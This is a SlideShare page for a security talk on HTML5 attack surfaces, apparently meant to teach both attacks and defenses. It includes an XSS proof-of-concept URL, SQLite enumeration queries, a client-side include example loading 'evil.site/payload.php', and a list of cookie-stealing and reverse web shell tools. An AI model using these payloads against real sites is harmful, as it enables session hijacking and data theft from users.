SlideShare une entreprise Scribd logo
1  sur  48
Télécharger pour lire hors ligne
youstar@insight-labs
   Introduction to HTML5
   HTML5 threat model
   Vulnerabilities & Defense
   Tools
   Reference
   History
     HTML1.0——1993.6 Not Standard
     HTML 2.0——1995.11 RFC 1866
     HTML 3.2——1996.1.14 W3C Recommended Standard
     HTML 4.0——1997.12.18 W3C Recommended Standard
     HTML 4.01——1999.12.24 W3C Recommended Standard
     XHTML——2000.1.20 W3C Recommended Standard
     HTML5——2008 First Draft Standard
               2012 W3C Candidate Recommendation
   Features
     The three aspects of HTML5
      ▪ Content HTML
       ▪ New Tags and Attributes
     ▪ Presentation of content CSS
     ▪ Interaction with content JavaScript
       ▪ Add New API   Drag   LocalStorage   WebWorkers etc
   Features
   XSS abuse with tags and attributes
   Hiding URL Code
   Stealing from the storage
   Injecting and Exploiting WebSQL
   ClickJacking &&CookieJacking
   Cross Origin Request and postMessage
   Client‐side File Includes
   Botnet and widgets
   In:
     New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>
     New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for
          input
         New media events
         New <canvas> tag for 2D rendering
         New form controls for date and time
         Geolocation
         New selectors
         Client-side storage including localStorage, sessionStorage, and WebSQL
   Out:
         Presentation elements such a <font>, <center>
         Presentation attributes including align, border
         <frame>,<frameset>
         <applet>
         Old special effects: <marquee>,<bgsound>
         <noscript>
   Attack:
     New XSS Vector
     Bypass Black-list Filter


   Defense:
     Add new tags to Black-list
     Change Regex
   DOM
     window.history.back();
     window.history.forward();
     window.history.go();
   HTML5
     history.pushState()
      ▪ history.pushState(state object,title,URL);
     history.replaceState()
      ▪ The same with pushState,but modifies the current
        history entry.
http://127.0.0.1/html5/poc/history/xsspoc.php?xss=<
script>history.pushState({},'',location.href.split("?").
shift());document.write(1)</script>



http://127.0.0.1/html5/poc/history/xsspoc.php
   Type
     LocalStorage:for long-term storage
     SessionStorage:for the session application(last
      when the browser closed)
   Differences
     Cookies:4k
     LocalStorage/ SessionStorage:depends on
      browser(usually 5MB)
   Support
     Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera
      10.50
   Function
     (localStorage | sessionStorage).setItem()
     (localStorage | sessionStorage).getItem()
     (localStorage | sessionStorage).deleteItem()
     (localStorage | sessionStorage).clear()
   Attack
     Get the data from the storage(cookie,passwd,etc)
     Storage your xss shellcode
     Unlimit the path
   Defense
     Don’t store sensitive data in local storage
     Don't use local storage for session identifiers
     Stick with cookies and use the HTTPOnly and
     Secure flags
   Database Storage
     The same as the Google Gears
   Operate
     openDatabase("Database Name", "Database Version", "Database
      Description", "Estimated Size");
     transaction("YOUR SQL STATEMENT HERE");
     executeSql();

   Type
     SQLite (support by WebKit)
   Attack
     Store shellcode
     SQL inject
   Defense
     Strick with the sql operate
     Encode the sql result before display
     Don’t store sensitive data
   Store shellcode
   SQL Injection
     Use sqlite_master
      ▪ SELECT name FROM sqlite_master WHERE type='table'
      ▪ SELECT sql FROM sqlite_master WHERE
        name='table_name'
      ▪ SELECT sqlite_version()
     Select with ?
      ▪ executeSql("SELECT name FROM stud WHERE id=" +
        input_id); False
      ▪ executeSql("SELECT name FROM stud WHERE id=?",
        [input_id]); True
   Drag and drop basics
     Drag Data
     the drag feedback image
     drag effects
   Drag events:
       dragstart
       dragenter
       dragover
       dragleave
       drag
       drop
       dragend
   ClickJacking
     XSS + Drag
   CookieJacking
     Use many technology to steal user’s local cookies
   Technology
     How to read the local fileiframe+file://
     How to detect the state of cookies Clickjacking
     How to send cookiesSMB
   Defense
     Use iframe with sandbox
     If (top !== window) top.location=
      window.location.href;
     if (top!=self) top.location.href=self.location.href
   postMessage
     Send
      ▪ otherWindow.postMessage(message, targetOrigin);
     Receive
      window.addEventListener("message", receiveMessage, false);
      function receiveMessage(event)
      {
        if (event.origin !== "http://example.org:8080")
          return;
        // ...
      }
   Defense
     Check the postMessage origin
     Don’t use innerHTML
      ▪ Element.innerHTML=e.data;//danger
      ▪ Element.textContent=e.data;//safe
     Don’t use Eval to deal with the mesage
   Cross-Origin Resource Sharing
     ▪ Originally Ajax calls were subject to Same Origin Policy
     ▪ Site A cannot make XMLHttpRequests to Site B
     ▪ HTML5 makes it possible to make these cross domain calls
     ▪ Site ASite B(Response must include a header)
       ▪ Access-Control-Allow-Origin: Site A       Must
       ▪ Access-Control-Allow-Credentials: true | false
       ▪ Access-Control-Expose-Headers:
       ▪ etc
   Defense
     Don’t set this: Access-Control-Allow-Origin: *
      ▪ (Flash crossdomain.xml )
     Prevent DDOS
      ▪ if(origin=="Site A"){header(Access-Control-Allow-
        Origin:Site A)……//process request}
   Code like this:
<html><body><script>
x = new XMLHttpRequest();
x.open("GET",location.hash.substring(1));
x.onreadystatechange=function(){if(x.readyState==4){
document.getElementById("main").innerHTML=x.responseText;}}
x.send();
</script>
<div id=“main”></div>
</body></html>
 POC
       Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php
       VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>
       New type of XSS!!
   Web Workers
     running scripts in the background independently
     Very simple
        var w = new Worker("some_script.js");
        w.onmessage = function(e) { // do something };
        w.terminate()
     Access
      ▪ XHR,navigator object,application cache,spawn other workers!
     Can’t access
      ▪ DOM,window,document objects
   Attack
     Botnet
      ▪ Application‐level DDoS attacks
      ▪ Email Spam
      ▪ Distributed password cracking
     Network Scanning
     Guessing User’s Private IP Address
      ▪ Identify the user’s subnet
      ▪ Identify the IP address
   COR+XSS+Workers=shell of the future
   HTML5CSdump
     enumeration and extraction techniques described
     before to obtain all the client-side storage relative
     to a certain domain name
   JS-Recon
     Port Scans
     Network Scans
     Detecting private IP address
   Imposter
       Steal cookies
       Set cookies
       Steal Local Shared Objects
       Steal stored passwords from FireFox
       etc
   Shell of the Future
     Reverse Web Shell handler
     Bypass anti-session hijacking measures
   Ravan
     JavaScript based Distributed Computing system
     hashing algorithms
      ▪ MD5
      ▪ SHA1
      ▪ SHA256
      ▪ SHA512
 HTML5 带来的新安全威胁:xisigr
 Attacking with HTML5:lavakumark
 Abusing HTML5:Ming Chow
 HTML5 Web Security:Thomas Röthlisberger
 Abusing HTML 5 Structured Client-side Storage:Alberto Trivero
 Cookiejacking:Rosario Valotta
 http://heideri.ch/jso/#html5
 http://www.wooyun.org/bugs/wooyun-2011-02351
 http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and-
  dom-l3-top-10-attacks.html
 http://www.html5test.com
   http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe.
    html
   http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox
   http://code.google.com/intl/zh-CN/apis/gears/api_database.html
   http://michael-coates.blogspot.com/2010/07/html5-local-storage-
    and-xss.html
   http://www.w3.org/TR/access-control/
   http://m-austin.com/blog/?p=19
   https://developer.mozilla.org/en/
   http://www.w3.org/TR/cors/
   http://www.andlabs.org/tools/ravan.html
   http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
   Contact Me
   email:youstar@foxmail.com
   Site:
     www.codesec.info

     www.insight-labs.org

Contenu connexe

Tendances

Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
Ante Gulam
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
reza jalaluddin
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
CODE BLUE
 

Tendances (20)

Super simple application security with Apache Shiro
Super simple application security with Apache ShiroSuper simple application security with Apache Shiro
Super simple application security with Apache Shiro
 
Ecom2
Ecom2Ecom2
Ecom2
 
Java. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax ApplicationsJava. Explicit and Implicit Wait. Testing Ajax Applications
Java. Explicit and Implicit Wait. Testing Ajax Applications
 
Django - Know Your Namespace: Middleware
Django - Know Your Namespace: MiddlewareDjango - Know Your Namespace: Middleware
Django - Know Your Namespace: Middleware
 
Top 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platformTop 10 F5 iRules to migrate to a modern load balancing platform
Top 10 F5 iRules to migrate to a modern load balancing platform
 
Mongo db for c# developers
Mongo db for c# developersMongo db for c# developers
Mongo db for c# developers
 
Mongo db for C# Developers
Mongo db for C# DevelopersMongo db for C# Developers
Mongo db for C# Developers
 
Introduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10genIntroduction to the new official C# Driver developed by 10gen
Introduction to the new official C# Driver developed by 10gen
 
Securing REST APIs
Securing REST APIsSecuring REST APIs
Securing REST APIs
 
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
WebCamp: Developer Day: Web Security: Cookies, Domains and CORS - Юрий Чайков...
 
Blockchain com JavaScript
Blockchain com JavaScriptBlockchain com JavaScript
Blockchain com JavaScript
 
Secure .NET programming
Secure .NET programmingSecure .NET programming
Secure .NET programming
 
Google chrome presentation
Google chrome presentationGoogle chrome presentation
Google chrome presentation
 
Html5 and web technology update
Html5 and web technology updateHtml5 and web technology update
Html5 and web technology update
 
Forget the Web
Forget the WebForget the Web
Forget the Web
 
Bare-knuckle web development
Bare-knuckle web developmentBare-knuckle web development
Bare-knuckle web development
 
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
[CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho
 
Beyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the codeBeyond PHP - it's not (just) about the code
Beyond PHP - it's not (just) about the code
 
The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196The Ring programming language version 1.7 book - Part 47 of 196
The Ring programming language version 1.7 book - Part 47 of 196
 
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHPPHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
PHP Experience 2016 - [Workshop] Elastic Search: Turbinando sua aplicação PHP
 

Similaire à Talk about html5 security

HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs Silverlight
Matt Casto
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWARE
FIWARE
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
Patrick Lauke
 

Similaire à Talk about html5 security (20)

Html5 hacking
Html5 hackingHtml5 hacking
Html5 hacking
 
Browser security
Browser securityBrowser security
Browser security
 
HTML5 vs Silverlight
HTML5 vs SilverlightHTML5 vs Silverlight
HTML5 vs Silverlight
 
Sanjeev ghai 12
Sanjeev ghai 12Sanjeev ghai 12
Sanjeev ghai 12
 
Developing your first application using FIWARE
Developing your first application using FIWAREDeveloping your first application using FIWARE
Developing your first application using FIWARE
 
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About ConnectAtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
AtlasCamp 2014: 10 Things a Front End Developer Should Know About Connect
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Building Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 FeaturesBuilding Client-Side Attacks with HTML5 Features
Building Client-Side Attacks with HTML5 Features
 
Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2Top Ten Java Defense for Web Applications v2
Top Ten Java Defense for Web Applications v2
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
General Principles of Web Security
General Principles of Web SecurityGeneral Principles of Web Security
General Principles of Web Security
 
Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)Defeating Cross-Site Scripting with Content Security Policy (updated)
Defeating Cross-Site Scripting with Content Security Policy (updated)
 
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
HTML5 (and friends) - History, overview and current status - jsDay Verona 11....
 
Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~Attractive HTML5~開発者の視点から~
Attractive HTML5~開発者の視点から~
 
Attacking HTML5
Attacking HTML5Attacking HTML5
Attacking HTML5
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
前端概述
前端概述前端概述
前端概述
 
HTML5 on Mobile
HTML5 on MobileHTML5 on Mobile
HTML5 on Mobile
 
Html5 For Jjugccc2009fall
Html5 For Jjugccc2009fallHtml5 For Jjugccc2009fall
Html5 For Jjugccc2009fall
 

Dernier

The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
heathfieldcps1
 
1029 - Danh muc Sach Giao Khoa 10 . pdf
1029 -  Danh muc Sach Giao Khoa 10 . pdf1029 -  Danh muc Sach Giao Khoa 10 . pdf
1029 - Danh muc Sach Giao Khoa 10 . pdf
QucHHunhnh
 

Dernier (20)

Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)Software Engineering Methodologies (overview)
Software Engineering Methodologies (overview)
 
Interactive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communicationInteractive Powerpoint_How to Master effective communication
Interactive Powerpoint_How to Master effective communication
 
The basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptxThe basics of sentences session 2pptx copy.pptx
The basics of sentences session 2pptx copy.pptx
 
Measures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SDMeasures of Dispersion and Variability: Range, QD, AD and SD
Measures of Dispersion and Variability: Range, QD, AD and SD
 
Mattingly "AI & Prompt Design: The Basics of Prompt Design"
Mattingly "AI & Prompt Design: The Basics of Prompt Design"Mattingly "AI & Prompt Design: The Basics of Prompt Design"
Mattingly "AI & Prompt Design: The Basics of Prompt Design"
 
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptxSOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
SOCIAL AND HISTORICAL CONTEXT - LFTVD.pptx
 
social pharmacy d-pharm 1st year by Pragati K. Mahajan
social pharmacy d-pharm 1st year by Pragati K. Mahajansocial pharmacy d-pharm 1st year by Pragati K. Mahajan
social pharmacy d-pharm 1st year by Pragati K. Mahajan
 
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
Mattingly "AI & Prompt Design: Structured Data, Assistants, & RAG"
 
Grant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy ConsultingGrant Readiness 101 TechSoup and Remy Consulting
Grant Readiness 101 TechSoup and Remy Consulting
 
Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1Código Creativo y Arte de Software | Unidad 1
Código Creativo y Arte de Software | Unidad 1
 
Disha NEET Physics Guide for classes 11 and 12.pdf
Disha NEET Physics Guide for classes 11 and 12.pdfDisha NEET Physics Guide for classes 11 and 12.pdf
Disha NEET Physics Guide for classes 11 and 12.pdf
 
1029 - Danh muc Sach Giao Khoa 10 . pdf
1029 -  Danh muc Sach Giao Khoa 10 . pdf1029 -  Danh muc Sach Giao Khoa 10 . pdf
1029 - Danh muc Sach Giao Khoa 10 . pdf
 
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111Call Girls in Dwarka Mor Delhi Contact Us 9654467111
Call Girls in Dwarka Mor Delhi Contact Us 9654467111
 
Paris 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activityParis 2024 Olympic Geographies - an activity
Paris 2024 Olympic Geographies - an activity
 
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
IGNOU MSCCFT and PGDCFT Exam Question Pattern: MCFT003 Counselling and Family...
 
Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17Advanced Views - Calendar View in Odoo 17
Advanced Views - Calendar View in Odoo 17
 
Measures of Central Tendency: Mean, Median and Mode
Measures of Central Tendency: Mean, Median and ModeMeasures of Central Tendency: Mean, Median and Mode
Measures of Central Tendency: Mean, Median and Mode
 
Class 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdfClass 11th Physics NEET formula sheet pdf
Class 11th Physics NEET formula sheet pdf
 
Web & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdfWeb & Social Media Analytics Previous Year Question Paper.pdf
Web & Social Media Analytics Previous Year Question Paper.pdf
 
Z Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot GraphZ Score,T Score, Percential Rank and Box Plot Graph
Z Score,T Score, Percential Rank and Box Plot Graph
 

Talk about html5 security

  • 2. Introduction to HTML5  HTML5 threat model  Vulnerabilities & Defense  Tools  Reference
  • 3. History  HTML1.0——1993.6 Not Standard  HTML 2.0——1995.11 RFC 1866  HTML 3.2——1996.1.14 W3C Recommended Standard  HTML 4.0——1997.12.18 W3C Recommended Standard  HTML 4.01——1999.12.24 W3C Recommended Standard  XHTML——2000.1.20 W3C Recommended Standard  HTML5——2008 First Draft Standard  2012 W3C Candidate Recommendation
  • 4. Features  The three aspects of HTML5 ▪ Content HTML ▪ New Tags and Attributes ▪ Presentation of content CSS ▪ Interaction with content JavaScript ▪ Add New API Drag LocalStorage WebWorkers etc
  • 5. Features
  • 6.
  • 7.
  • 8. XSS abuse with tags and attributes  Hiding URL Code  Stealing from the storage  Injecting and Exploiting WebSQL  ClickJacking &&CookieJacking  Cross Origin Request and postMessage  Client‐side File Includes  Botnet and widgets
  • 9. In:  New tags: <button>,<video>,<audio>,<article>,<footer>,<nav>  New attributes for tags: autocomplete, autofocus, pattern(yes,regex) for input  New media events  New <canvas> tag for 2D rendering  New form controls for date and time  Geolocation  New selectors  Client-side storage including localStorage, sessionStorage, and WebSQL  Out:  Presentation elements such a <font>, <center>  Presentation attributes including align, border  <frame>,<frameset>  <applet>  Old special effects: <marquee>,<bgsound>  <noscript>
  • 10. Attack:  New XSS Vector  Bypass Black-list Filter  Defense:  Add new tags to Black-list  Change Regex
  • 11.
  • 12. DOM  window.history.back();  window.history.forward();  window.history.go();  HTML5  history.pushState() ▪ history.pushState(state object,title,URL);  history.replaceState() ▪ The same with pushState,but modifies the current history entry.
  • 14.
  • 15. Type  LocalStorage:for long-term storage  SessionStorage:for the session application(last when the browser closed)  Differences  Cookies:4k  LocalStorage/ SessionStorage:depends on browser(usually 5MB)  Support  Firefox 3.5, Safari 4.0, IE8, Google Chrome, Opera 10.50
  • 16.
  • 17. Function  (localStorage | sessionStorage).setItem()  (localStorage | sessionStorage).getItem()  (localStorage | sessionStorage).deleteItem()  (localStorage | sessionStorage).clear()
  • 18. Attack  Get the data from the storage(cookie,passwd,etc)  Storage your xss shellcode  Unlimit the path  Defense  Don’t store sensitive data in local storage  Don't use local storage for session identifiers  Stick with cookies and use the HTTPOnly and Secure flags
  • 19.
  • 20. Database Storage  The same as the Google Gears  Operate  openDatabase("Database Name", "Database Version", "Database Description", "Estimated Size");  transaction("YOUR SQL STATEMENT HERE");  executeSql();  Type  SQLite (support by WebKit)
  • 21. Attack  Store shellcode  SQL inject  Defense  Strick with the sql operate  Encode the sql result before display  Don’t store sensitive data
  • 22. Store shellcode
  • 23. SQL Injection  Use sqlite_master ▪ SELECT name FROM sqlite_master WHERE type='table' ▪ SELECT sql FROM sqlite_master WHERE name='table_name' ▪ SELECT sqlite_version()  Select with ? ▪ executeSql("SELECT name FROM stud WHERE id=" + input_id); False ▪ executeSql("SELECT name FROM stud WHERE id=?", [input_id]); True
  • 24. Drag and drop basics  Drag Data  the drag feedback image  drag effects  Drag events:  dragstart  dragenter  dragover  dragleave  drag  drop  dragend
  • 25.
  • 26. ClickJacking  XSS + Drag
  • 27.
  • 28. CookieJacking  Use many technology to steal user’s local cookies  Technology  How to read the local fileiframe+file://  How to detect the state of cookies Clickjacking  How to send cookiesSMB
  • 29.
  • 30. Defense  Use iframe with sandbox  If (top !== window) top.location= window.location.href;  if (top!=self) top.location.href=self.location.href
  • 31. postMessage  Send ▪ otherWindow.postMessage(message, targetOrigin);  Receive window.addEventListener("message", receiveMessage, false); function receiveMessage(event) { if (event.origin !== "http://example.org:8080") return; // ... }
  • 32.
  • 33. Defense  Check the postMessage origin  Don’t use innerHTML ▪ Element.innerHTML=e.data;//danger ▪ Element.textContent=e.data;//safe  Don’t use Eval to deal with the mesage
  • 34. Cross-Origin Resource Sharing ▪ Originally Ajax calls were subject to Same Origin Policy ▪ Site A cannot make XMLHttpRequests to Site B ▪ HTML5 makes it possible to make these cross domain calls ▪ Site ASite B(Response must include a header) ▪ Access-Control-Allow-Origin: Site A Must ▪ Access-Control-Allow-Credentials: true | false ▪ Access-Control-Expose-Headers: ▪ etc
  • 35.
  • 36.
  • 37. Defense  Don’t set this: Access-Control-Allow-Origin: * ▪ (Flash crossdomain.xml )  Prevent DDOS ▪ if(origin=="Site A"){header(Access-Control-Allow- Origin:Site A)……//process request}
  • 38. Code like this: <html><body><script> x = new XMLHttpRequest(); x.open("GET",location.hash.substring(1)); x.onreadystatechange=function(){if(x.readyState==4){ document.getElementById("main").innerHTML=x.responseText;}} x.send(); </script> <div id=“main”></div> </body></html>  POC  Introducing Cross Origin Requests http://example.com/#http://evil.site/payload.php  VContents of ‘payload.php’ will be included as HTML within <div id=“main”></div>  New type of XSS!!
  • 39.
  • 40. Web Workers  running scripts in the background independently  Very simple var w = new Worker("some_script.js"); w.onmessage = function(e) { // do something }; w.terminate()  Access ▪ XHR,navigator object,application cache,spawn other workers!  Can’t access ▪ DOM,window,document objects
  • 41. Attack  Botnet ▪ Application‐level DDoS attacks ▪ Email Spam ▪ Distributed password cracking  Network Scanning  Guessing User’s Private IP Address ▪ Identify the user’s subnet ▪ Identify the IP address
  • 42. COR+XSS+Workers=shell of the future
  • 43. HTML5CSdump  enumeration and extraction techniques described before to obtain all the client-side storage relative to a certain domain name  JS-Recon  Port Scans  Network Scans  Detecting private IP address
  • 44. Imposter  Steal cookies  Set cookies  Steal Local Shared Objects  Steal stored passwords from FireFox  etc  Shell of the Future  Reverse Web Shell handler  Bypass anti-session hijacking measures
  • 45. Ravan  JavaScript based Distributed Computing system  hashing algorithms ▪ MD5 ▪ SHA1 ▪ SHA256 ▪ SHA512
  • 46.  HTML5 带来的新安全威胁:xisigr  Attacking with HTML5:lavakumark  Abusing HTML5:Ming Chow  HTML5 Web Security:Thomas Röthlisberger  Abusing HTML 5 Structured Client-side Storage:Alberto Trivero  Cookiejacking:Rosario Valotta  http://heideri.ch/jso/#html5  http://www.wooyun.org/bugs/wooyun-2011-02351  http://shreeraj.blogspot.com/2011/03/html-5-xhr-l2-and- dom-l3-top-10-attacks.html  http://www.html5test.com
  • 47. http://hi.baidu.com/xisigr/blog/item/aebf0728abd960f299250abe. html  http://blog.whatwg.org/whats-next-in-html-episode-2-sandbox  http://code.google.com/intl/zh-CN/apis/gears/api_database.html  http://michael-coates.blogspot.com/2010/07/html5-local-storage- and-xss.html  http://www.w3.org/TR/access-control/  http://m-austin.com/blog/?p=19  https://developer.mozilla.org/en/  http://www.w3.org/TR/cors/  http://www.andlabs.org/tools/ravan.html  http://www.gnucitizen.org/blog/client-side-sql-injection-attacks/
  • 48. Contact Me  email:youstar@foxmail.com  Site:  www.codesec.info  www.insight-labs.org